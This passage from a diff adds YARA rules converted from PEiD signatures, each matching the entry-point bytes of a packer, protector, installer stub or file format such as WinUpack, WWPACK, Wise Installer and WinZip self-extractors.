+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF 0F 84 A6 00 00 00 6A 00 53 E8 41 EA FF FF 8B F0 81 EE 00 5E 00 00 6A 00 6A 00 68 00 5E 00 00 53 E8 52 EA FF FF B8 F4 97 00 10 8B D6 E8 2E E7 FF FF B8 F8 97 00 10 8B D6 E8 22 E7 FF FF 8B C6 E8 AB D8 FF FF 8B F8 6A 00 68 F0 97 00 10 56 A1 F4 97 00 10 50 53 E8 05 EA FF FF 53 E8 CF E9 FF FF B8 FC 97 00 10 BA E8 51 00 10 E8 74 EA FF FF A1 F4 97 00 10 85 C0 74 05 83 E8 04 8B 00 50 B9 F8 97 00 10 B8 FC 97 00 10 8B 15 F4 97 00 10 E8 D8 EA FF FF B8 FC 97 00 10 E8 5A EB FF FF 8B CE 8B 15 F8 97 00 10 8B C7 E8 EB E9 FF FF 8B C7 85 C0 74 05 E8 E4 EB FF FF 33 C0 5A 59 59 64 89 10 68 D5 51 00 10 8D 45 EC E8 BB E5 FF FF C3 E9 A9 DF FF FF EB F0 5F 5E 5B E8 B7 E4 FF FF 00 00 00 FF FF FF FF 0A 00 00 00 63 5A 6C 56 30 55 6C 6B 70 4D}
+    condition:
+        $a
+}
+
+rule PEiD_03455_Windows_Animation_format_
+{
+    meta:
+        description = "[Windows Animation format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 41 43 4F 4E 4C 49 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_03456_Windows_Type_1_font_metric_file_
+{
+    meta:
+        description = "[Windows Type 1 font metric file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 ?? ?? 00 00 43 6F 70 79 72 69 67 68 74 20}
+    condition:
+        $a
+}
+
+rule PEiD_03457_WinKript_1_0____Mr__Crimson__h__
+{
+    meta:
+        description = "[WinKript 1.0 -> Mr. Crimson (h)]"
+        ep_only = "false"
+    strings:
+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03458_WinKript_v1_0____Mr__Crimson__h__
+{
+    meta:
+        description = "[WinKript v1.0 -> Mr. Crimson (h)]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03459_Winkript_v1_0_
+{
+    meta:
+        description = "[Winkript v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58}
+    condition:
+        $a
+}
+
+rule PEiD_03460_WinRAR_32_bit_SFX_Module_
+{
+    meta:
+        description = "[WinRAR 32-bit SFX Module]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_03461_WinUpack_v0_30_beta____By_Dwing__h__
+{
+    meta:
+        description = "[WinUpack v0.30 beta -> By Dwing (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03462_WinUpack_v0_30_beta____By_Dwing_
+{
+    meta:
+        description = "[WinUpack v0.30 beta -> By Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02}
+    condition:
+        $a
+}
+
+rule PEiD_03463_WinUpack_v0_39_final__relocated_image_base_____By_Dwing__c_2005__h2__
+{
+    meta:
+        description = "[WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 1C B1 30 8B 5D 0C 03 D1 FF 16 73 4C 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 18 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 38 FF 56 0C}
+    condition:
+        $a
+}
+
+rule PEiD_03464_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+    condition:
+        $a
+}
+
+rule PEiD_03465_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03466_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+    condition:
+        $a
+}
+
+rule PEiD_03467_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 ?? 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33}
+    condition:
+        $a
+}
+
+rule PEiD_03468_WinUpack_v0_39_final____By_Dwing_c_2005_
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing c)2005]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51}
+    condition:
+        $a
+}
+
+rule PEiD_03469_WinZip__32_bit__6_x_
+{
+    meta:
+        description = "[WinZip (32-bit) 6.x]"
+        ep_only = "true"
+    strings:
+        $a = {FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10}
+    condition:
+        $a
+}
+
+rule PEiD_03470_WinZip_32_bit_SFX_v6_x_module_
+{
+    meta:
+        description = "[WinZip 32-bit SFX v6.x module]"
+        ep_only = "true"
+    strings:
+        $a = {FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_03471_WinZip_32_bit_SFX_v8_x_module_
+{
+    meta:
+        description = "[WinZip 32-bit SFX v8.x module]"
+        ep_only = "true"
+    strings:
+        $a = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_03472_WinZip_Self_Extractor_2_2_personal_edition____WinZip_Computing__h__
+{
+    meta:
+        description = "[WinZip Self-Extractor 2.2 personal edition -> WinZip Computing (h)]"
+        ep_only = "true"
+    strings:
+        $a = {53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B}
+    condition:
+        $a
+}
+
+rule PEiD_03473_Wise_Installer_Stub_1_10_1029_1_
+{
+    meta:
+        description = "[Wise Installer Stub 1.10.1029.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45}
+    condition:
+        $a
+}
+
+rule PEiD_03474_Wise_Installer_Stub_v1_10_1029_1_
+{
+    meta:
+        description = "[Wise Installer Stub v1.10.1029.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45 E8 8A 08 80 F9 2F 74 2B 84 C9 74 1F 80 F9 3D 74 1A 8A 48 01 40 EB F1 33 F6 84 C9 74 D6 80 F9 20 74}
+    condition:
+        $a
+}
+
+rule PEiD_03475_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF}
+    condition:
+        $a
+}
+
+rule PEiD_03476_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF 89 45 FC 0F 84 7B 01 00 00 8D 85 90 FC FF FF 50 56 FF 15 28 20 40 00 8D 85 98 FE FF FF 50 53 8D 85 90 FC FF FF 68 10 30 40 00 50 FF 15 24 20 40 00 53 68 80 00 00 00 6A 02 53 53 8D 85 98 FE FF FF 68 00 00 00 40 50 FF D7 83 F8 FF 89 45 F4 0F 84 2F 01 00 00 53 53 53 6A 02 53 FF 75 FC FF 15 00 20 40 00 53 53 53 6A 04 50 89 45 F8 FF 15 1C 20 40 00 8B F8 C7 45 FC 01 00 00 00 8D 47 01 8B 08 81 F9 4D 5A 9A 00 74 08 81 F9 4D 5A 90 00 75 06 80 78 04 03 74 0D FF 45 FC 40 81 7D FC 00 80 00 00 7C DB 8D 4D F0 53 51 68}
+    condition:
+        $a
+}
+
+rule PEiD_03477_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20}
+    condition:
+        $a
+}
+
+rule PEiD_03478_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20 75 09 47 80 3F 20 74 FA 89 7D ?? 53 FF 15 ?? 40 40 00 80 3F 2F 89 45 ?? 75 ?? 8A 47 01 3C 53 74 04 3C 73 75 06 89 35}
+    condition:
+        $a
+}
+
+rule PEiD_03479_WWPACK_v3_00__v3_01__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.00, v3.01 (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC}
+    condition:
+        $a
+}
+
+rule PEiD_03480_WWPACK_v3_00__v3_01__Relocations_pack__
+{
+    meta:
+        description = "[WWPACK v3.00, v3.01 (Relocations pack)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC}
+    condition:
+        $a
+}
+
+rule PEiD_03481_WWPACK_v3_02__v3_02a__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.02, v3.02a (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3}
+    condition:
+        $a
+}
+rule PEiD_03482_WWPACK_v3_02__v3_02a__v3_04__Relocations_pack__
+{
+    meta:
+        description = "[WWPACK v3.02, v3.02a, v3.04 (Relocations pack)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC}
+    condition:
+        $a
+}
+
+rule PEiD_03483_WWPACK_v3_03_
+{
+    meta:
+        description = "[WWPACK v3.03]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53}
+    condition:
+        $a
+}
+
+rule PEiD_03484_WWPACK_v3_05c4__Extr__Passw_check__Vir__shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extr. Passw.check. Vir. shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03485_WWPACK_v3_05c4__Extractable___Password_checking__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable + Password checking)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03486_WWPACK_v3_05c4__Extractable___Virus_Shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable + Virus Shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03487_WWPACK_v3_05c4__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03488_WWPACK_v3_05c4__Modified__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Modified)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03489_WWPACK_v3_05c4__Unextr__Passw_check__Vir__shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextr. Passw.check. Vir. shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03490_WWPACK_v3_05c4__Unextractable___Password_checking__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable + Password checking)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03491_WWPACK_v3_05c4__Unextractable___Virus_Shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable + Virus Shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03492_WWPACK_v3_05c4__Unextractable__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a
+}
+
+rule PEiD_03493_WWPack32_v1_00__v1_11__v1_12__v1_20_
+{
+    meta:
+        description = "[WWPack32 v1.00, v1.11, v1.12, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32}
+    condition:
+        $a
+}
+
+rule PEiD_03494_WWPack32_v1_x_
+{
+    meta:
+        description = "[WWPack32 v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60}
+    condition:
+        $a
+}
+
+rule PEiD_03495_X_Hider_1_0____GlobaL_
+{
+    meta:
+        description = "[X-Hider 1.0 -> GlobaL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 33 C0 89 45 EC B8 54 20 44 44 E8 DF F8 FF FF 33 C0 55 68 08 21 44 44 64 FF 30 64 89 20 8D 55 EC B8 1C 21 44 44 E8 E0 F9 FF FF 8B 55 EC B8 40 ?? ?? 44 E8 8B F5 FF FF 6A 00 6A 00 6A 02 6A 00 6A 01 68 00 00 00 40 A1 40 ?? ?? 44 E8 7E F6 FF FF 50 E8 4C F9 FF FF 6A 00 50 E8 4C F9 FF FF A3 28 ?? ?? 44 E8 CE FE FF FF 33 C0 5A 59 59 64 89 10 68 0F 21 44 44 8D 45 EC E8 F1 F4 FF FF C3 E9 BB F2 FF FF EB F0 E8 FC F3 FF FF FF FF FF FF 0E 00 00 00 63 3A 5C 30 30 30 30 30 30 31 2E 64 61 74 00}
+    condition:
+        $a
+}
+rule PEiD_03496_X_Hider_1_0____GlobaL_
+{
+    meta:
+        description = "[X-Hider 1.0 -> GlobaL]"
+        ep_only = "false"
+    strings:
+        $a = {85 D2 74 23 8B 4A F8 41 7F 1A 50 52 8B 42 FC E8 30 00 00 00 89 C2 58 52 8B 48 FC E8 48 FB FF FF 5A 58 EB 03 FF 42 F8 87 10 85 D2 74 13 8B 4A F8 49 7C 0D FF 4A F8 75 08 8D 42 F8 E8 5C FA FF FF C3 8D 40 00 85 C0 7E 24 50 83 C0 0A 83 E0 FE 50 E8 2F FA FF FF 5A 66 C7 44 02 FE 00 00 83 C0 08 5A 89 50 FC C7 40 F8 01 00 00 00 C3 31 C0 C3 90}
+    condition:
+        $a
+}
+
+rule PEiD_03497_X_Pack_v1_4_2_
+{
+    meta:
+        description = "[X-Pack v1.4.2]"
+        ep_only = "false"
+    strings:
+        $a = {72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03498_X_PEOR_v0_99b_
+{
+    meta:
+        description = "[X-PEOR v0.99b]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_03499_X_PEOR_v0_99b_
+{
+    meta:
+        description = "[X-PEOR v0.99b]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40}
+    condition:
+        $a
+}
+rule PEiD_03500_XCF_File_Format_by_Adeline_Software_
+{
+    meta:
+        description = "[XCF File Format by Adeline Software]"
+        ep_only = "false"
+    strings:
+        $a = {46 72 61 6D 65 4C 65 6E F4 0F}
+    condition:
+        $a
+}
+
+rule PEiD_03501_XCR_v0_11_
+{
+    meta:
+        description = "[XCR v0.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+    condition:
+        $a
+}
+
+rule PEiD_03502_XCR_v0_12_
+{
+    meta:
